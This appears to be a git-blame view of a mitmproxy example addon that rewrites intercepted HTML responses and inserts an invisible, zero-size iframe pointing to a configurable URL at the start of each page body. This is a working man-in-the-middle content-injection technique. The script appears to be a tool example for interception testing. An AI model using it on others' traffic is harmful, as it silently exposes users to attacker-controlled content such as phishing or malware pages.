2014-09-05 13:05:44 +00:00
|
|
|
# (this script works best with --anticache)
|
2014-09-12 00:42:45 +00:00
|
|
|
from bs4 import BeautifulSoup
|
2017-04-25 23:01:27 +00:00
|
|
|
from mitmproxy import ctx
|
2014-09-05 13:05:44 +00:00
|
|
|
|
2016-07-22 23:57:31 +00:00
|
|
|
|
|
|
|
class Injector:
|
2017-04-25 07:06:24 +00:00
|
|
|
def load(self, loader):
|
|
|
|
loader.add_option(
|
|
|
|
"iframe", str, "", "IFrame to inject"
|
|
|
|
)
|
|
|
|
|
2016-07-22 23:57:31 +00:00
|
|
|
def response(self, flow):
|
2017-04-25 23:01:27 +00:00
|
|
|
if ctx.options.iframe:
|
2017-04-25 07:06:24 +00:00
|
|
|
html = BeautifulSoup(flow.response.content, "html.parser")
|
|
|
|
if html.body:
|
|
|
|
iframe = html.new_tag(
|
|
|
|
"iframe",
|
2017-04-25 23:01:27 +00:00
|
|
|
src=ctx.options.iframe,
|
2017-04-25 07:06:24 +00:00
|
|
|
frameborder=0,
|
|
|
|
height=0,
|
|
|
|
width=0)
|
|
|
|
html.body.insert(0, iframe)
|
|
|
|
flow.response.content = str(html).encode("utf8")
|
2014-09-05 13:05:44 +00:00
|
|
|
|
2016-07-08 01:37:33 +00:00
|
|
|
|
2017-04-25 07:06:24 +00:00
|
|
|
addons = [Injector()]
|